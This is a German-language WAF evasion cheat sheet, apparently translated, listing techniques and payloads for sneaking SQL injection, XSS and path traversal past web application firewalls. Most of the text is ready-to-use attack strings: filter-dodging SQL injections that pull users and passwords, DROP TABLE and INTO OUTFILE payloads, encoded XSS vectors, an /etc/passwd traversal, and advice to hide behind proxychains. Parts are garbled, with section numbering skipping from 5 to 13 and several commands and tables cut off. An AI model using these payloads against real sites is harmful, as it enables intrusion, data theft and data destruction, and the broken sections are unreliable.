Fuzzing/Bruteforcing:

Methode:

Ausführen einer Reihe von Payloads gegen die URL/den Endpunkt. Einige nützliche Fuzzing-Wortlisten:

• Wortlisten speziell für Fuzzing
  • Seclists/Fuzzing.
  • Fuzz-DB/Attack
  • Other Payloads

Technik:

• Laden Sie Ihre Wortliste in den Fuzzer und starten Sie den Brute-Force-Angriff.
• Protokollieren/aufzeichnen aller Antworten der verschiedenen gefuzzen Payloads.
• Verwenden Sie zufällige User-Agents, von Chrome Desktop bis iPhone Browser.
• Wenn eine Blockierung festgestellt wird, erhöhen Sie die Fuzz-Latenz (z. B. 2–4 Sekunden).
• Verwenden Sie immer Proxychains, da die Wahrscheinlichkeit groß ist, dass Ihre IP blockiert wird.

Nachteile:

• Diese Methode scheitert oft.
• Oft wird Ihre IP blockiert (vorübergehend/dauerhaft).

Regex Reversing:

Methode:

• Effizienteste Methode zur Umgehung von WAFs.
• Einige WAFs verlassen sich darauf, die Angriffs-Payloads mit den Signaturen in ihren Datenbanken abzugleichen.
• Wenn ein Payload mit dem Regex übereinstimmt, löst der WAF Alarm aus.

Techniken:

Blacklisting Detection/Bypass

• Bei dieser Methode versuchen wir, die Regeln Schritt für Schritt zu identifizieren, indem wir die gesperrten Schlüsselwörter beobachten.
• Die Idee ist, den Regex zu erraten und die nächsten Payloads so zu gestalten, dass sie die gesperrten Schlüsselwörter nicht verwenden.

Fall: SQL Injection

• Schritt 1:

Gefilterte Schlüsselwörter: and, or, union
Wahrscheinlicher Regex: preg_match('/(and|or|union)/i', $id)

• Blockierter Versuch: union select user, password from users
• Umgangene Injection: 1 || (select user from users where user_id = 1) = 'admin'

• Schritt 2:

Gefilterte Schlüsselwörter: and, or, union, where

• Blockierter Versuch: 1 || (select user from users where user_id = 1) = 'admin'
• Umgangene Injection: 1 || (select user from users limit 1) = 'admin'

• Schritt 3:

Gefilterte Schlüsselwörter: and, or, union, where, limit

• Blockierter Versuch: 1 || (select user from users limit 1) = 'admin'
• Umgangene Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

• Schritt 4:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by

• Blockierter Versuch: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
• Umgangene Injection: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

• Schritt 5:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select

• Blockierter Versuch: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Umgangene Injection: 1 || 1 = 1 into outfile 'result.txt'
• Umgangene Injection: 1 || substr(user,1,1) = 'a'

• Schritt 6:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, '

• Blockierter Versuch: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
• Umgangene Injection: 1 || user_id is not null
• Umgangene Injection: 1 || substr(user,1,1) = 0x61
• Umgangene Injection: 1 || substr(user,1,1) = unhex(61)

• Schritt 7:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex

• Blockierter Versuch: 1 || substr(user,1,1) = unhex(61)
• Umgangene Injection: 1 || substr(user,1,1) = lower(conv(11,10,36))

• Schritt 8:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex, substr

• Blockierter Versuch: 1 || substr(user,1,1) = lower(conv(11,10,36))
• Umgangene Injection: 1 || lpad(user,7,1)

• Schritt 9:

Gefilterte Schlüsselwörter: and, or, union, where, limit, group by, select, ', hex, substr, Leerzeichen

• Blockierter Versuch: 1 || lpad(user,7,1)
• Umgangene Injection: 1%0b||%0blpad(user,7,1)

Obfuscation:

Methode:

• Kodieren von Payloads in verschiedene Kodierungen (eine Trial-and-Error-Methode).
• Sie können das gesamte Payload oder Teile davon kodieren und rekursiv testen.

Techniken:

1. Case Toggling

• Manche schlecht entwickelten WAFs filtern selektiv nur bestimmte Groß-/Kleinschreibungsvarianten.
• Wir können Groß- und Kleinbuchstaben kombinieren, um effiziente Payloads zu entwickeln.

Standard: <script>alert()</script>
Umgangen: <ScRipT>alert()</sCRipT>

Standard: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Umgangen: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'

2. URL Encoding

• Kodieren Sie normale Payloads mit %-Kodierung/URL-Kodierung.
• Kann mit Online-Tools wie diesem durchgeführt werden.
• Burp enthält einen integrierten Encoder/Decoder.

Blockiert: <svG/x=">"/oNloaD=confirm()//
Umgangen: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

Blockiert: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
Umgangen: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode Normalization

• ASCII-Zeichen in Unicode-Kodierung bieten gute Varianten zur Umgehung.
• Sie können das gesamte Payload oder Teile davon kodieren, um Ergebnisse zu erzielen.

Standard: <marquee onstart=prompt()>
Verschleiert: <marquee onstart=\u0070r\u06f\u006dpt()>

Blockiert: /?redir=http://google.com
Umgangen: /?redir=http://google。com (Unicode-Alternative)

Blockiert: <marquee loop=1 onfinish=alert()>x
Umgangen: ＜marquee loop＝1 onfinish＝alert︵1)>x (Unicode-Alternative)

TIPP: Schauen Sie sich diesen und diesen Bericht auf HackerOne an. :)

Standard: ../../etc/passwd
Verschleiert: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd

4. HTML Representation

• Oft kodieren Web-Apps Sonderzeichen in HTML-Kodierung und rendern sie entsprechend.
• Dies führt zu einfachen Umgehungsfällen mit HTML-Kodierung (numerisch/allgemein).

Standard: ">
Kodiert: "><img src=x onerror=confirm()> (Allgemeine Form)
Kodiert: "><img src=x onerror=confirm()> (Numerische Referenz)

5. Mixed Encoding

• Manchmal neigen WAF-Regeln dazu, eine bestimmte Art von Kodierung herauszufiltern.
• Diese Art von Filtern kann durch gemischte Kodierung der Payloads umgangen werden.
• Tabs und Zeilenumbrüche erhöhen zusätzlich die Verschleierung.

Obfuscated:``` XSS

13. Token Breakers

• Angriffe auf Tokenizer versuchen, die Logik der Aufteilung einer Anfrage in Token mit Hilfe von Token-Breakern zu durchbrechen.

• Token-Breaker sind Symbole, die es ermöglichen, die Übereinstimmung zwischen einem Element einer Zeichenkette und einem bestimmten Token zu beeinflussen und so die Suche nach Signaturen zu umgehen.

• Allerdings muss die Anfrage bei Verwendung von Token-Breakern weiterhin gültig bleiben.

• Fall: Unbekanntes Token für den Tokenizer

  • Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users --

• Fall: Unbekannter Kontext für den Parser (Beachten Sie die nicht kontextualisierte Klammer)

  • Payload 1: ?id=123);DROP TABLE users --
  • Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ --

TIPP: Weitere Payloads können über dieses Spickzettel erstellt werden.

14. Verschleierung in anderen Formaten

• Viele Webanwendungen unterstützen verschiedene Kodierungstypen und können die Kodierung interpretieren (siehe unten).
• Verschleierung unserer Payload in ein Format, das von der WAF nicht unterstützt wird, der Server aber unsere Payload einschleusen kann.

Fall: IIS

• IIS6, 7.5, 8 und 10 (ASPX v4.x) erlauben IBM037 Zeicheninterpretationen.
• Wir können unsere Payload kodieren und die kodierten Parameter mit der Anfrage senden.

Ursprüngliche Anfrage:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41

id2='union all select * from users--

Die folgende Tabelle zeigt die Unterstützung verschiedener Zeichenkodierungen auf den getesteten Systemen (wenn Nachrichten mit diesen Kodierungen verschleiert werden konnten):

TIPP: Sie können dieses kleine Python-Skript verwenden, um Ihre Nutzlasten und Parameter in die gewünschten Kodierungen zu konvertieren.

HTTP-Parameter-Verschmutzung

Methode:

• Diese Angriffsmethode basiert darauf, wie ein Server Parameter mit denselben Namen interpretiert.
• Mögliche Umgehungsmöglichkeiten sind hier:
  • Der Server verwendet den zuletzt empfangenen Parameter, und die WAF prüft nur den ersten.
  • Der Server vereint den Wert aus ähnlichen Parametern, und die WAF prüft sie getrennt.

Technik:

• Die Idee ist, zu ermitteln, wie die Parameter vom Server interpretiert werden.
• In einem solchen Fall können wir die Nutzlast an einen Parameter übergeben, der nicht von der WAF überprüft wird.
• Ebenso nützlich ist die Verteilung einer Nutzlast auf mehrere Parameter, die später vom Server zusammengefügt werden können.

Nachfolgend ein Vergleich verschiedener Server und ihrer relativen Interpretationen:

HTTP-Parameter-Fragmentierung

• HPF basiert auf dem Prinzip, dass der Server den Wert, der über die Parameter übergeben wird, vereint.
• Wir können die Nutzlast in verschiedene Komponenten aufteilen und dann die Werte über die Parameter übergeben.

Beispiel-Nutzlast: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
Beispiel-Query-URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS

TIPP: Ein Beispiel aus der Praxis, wie Umgehungen mit dieser Methode erstellt werden können, finden Sie hier.

Browser-Fehler:

Zeichensatz-Bugs:

• Wir können versuchen, den Zeichensatz-Header auf ein höheres Unicode (z.B. UTF-32) zu ändern und Nutzlasten zu testen.
• Wenn die Seite die Zeichenfolge dekodiert, wird die Nutzlast ausgelöst.

Beispiel-Anfrage:

Wenn die Seite geladen wird, wird sie auf die von uns eingestellte UTF-32-Kodierung kodiert, und da die Ausgabekodierung der Seite UTF-8 ist, wird sie wie folgt gerendert: "<script>alert (1) </ script> was XSS auslöst.

Endgültig URL-kodierte Nutzlast:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

Standard: <a href="javascript:alert()">
Verschleiert: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variante: <a 0x00 href="javascript:alert(1)">clickme</a>

Parsing-Fehler:

• Der RFC besagt, dass NodeNames nicht mit Leerzeichen beginnen dürfen.
• Aber wir können Sonderzeichen wie %, //, !, ? usw. verwenden.

Beispiele:

• <// style=x:expression\28write(1)\29> - Funktioniert bis IE7 (Quelle)
• <!--[if]><script>alert(1)</script --> - Funktioniert bis IE9 (Referenz)
• <?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - Funktioniert im IE7 (Referenz)
• <%div%20style=xss:expression(prompt(1))> - Funktioniert bis IE7

Unicode-Trennzeichen:

• Jeder Browser hat seinen eigenen spezifischen Zeichensatz von Trennzeichen.
• Wir können den Zeichensatzbereich von 0x00 bis 0xFF fuzzen und den Satz von Trennzeichen für jeden Browser ermitteln.
• Wir können diese Trennzeichen an Stellen verwenden, an denen ein Leerzeichen erforderlich ist.

Hier ist eine zusammengestellte Liste von Trennzeichen von @Masato Kinugawa:

• IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B
• Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Safari: 0x2C, 0x3B
• FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B
• Opera: 0x09, 0x20, 0x2C, 0x3B
• Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

Ein exotisches Payload-Beispiel:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d

• Fall: SQLi``` SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null); 1%0b||%0bLPAD(USER,7,1)

CLI-Tools wie cURL können für PoCs sehr nützlich sein:``` curl --ciphers -G -d

Verwendung von Whitelist-Strings:

Methode:

• Einige WAF-Entwickler bewahren ein gemeinsames Geheimnis mit ihren Benutzern/Entwicklern auf, das es ihnen ermöglicht, schädliche Abfragen durch die WAF zu schleusen.
• Dieses gemeinsame Geheimnis kann, wenn es durchsickert/bekannt wird, verwendet werden, um alle Schutzmaßnahmen innerhalb der WAF zu umgehen.

Technik:

• Die Verwendung des Whitelist-Strings als Parameter in GET/POST/PUT/DELETE-Anfragen schmuggelt unsere Nutzlast durch die WAF.
• Üblicherweise werden einige *-sync-request-Schlüsselwörter oder ein gemeinsamer Token-Wert als Geheimnis verwendet.
• Oft kann das Hinzufügen spezifischer Header ein ähnliches Whitelist-Verhalten auslösen.

Bei einer Anfrage an den Server können Sie diese nun als Parameter anhängen:``` http://host.com/?randomparameter=&=True

Google-Dorks-Ansatz:

Methode:

• Es gibt viele bekannte Umgehungen verschiedener Web Application Firewalls (siehe Abschnitt).
• Mit Hilfe von Google-Dorks können wir leicht Umgehungen finden.

Techniken:

Bevor Sie beginnen, sollten Sie Ihre Fähigkeiten mit dem Google-Dorks-Spickzettel verbessern.

• Normale Suche:
  +<wafname> waf bypass

• Suche nach spezifischen Versions-Exploits:
  "<wafname> <version>" (bypass|exploit)

• Für spezifische Typen von Umgehungs-Exploits:
  "<wafname>" +<bypass type> (bypass|exploit)

• Auf Exploit DB:
  site:exploit-db.com +<wafname> bypass

• Auf 0Day Inject0r DB:
  site:0day.today +<wafname> <type> (bypass|exploit)

• Auf Twitter:
  site:twitter.com +<wafname> bypass

• Auf Pastebin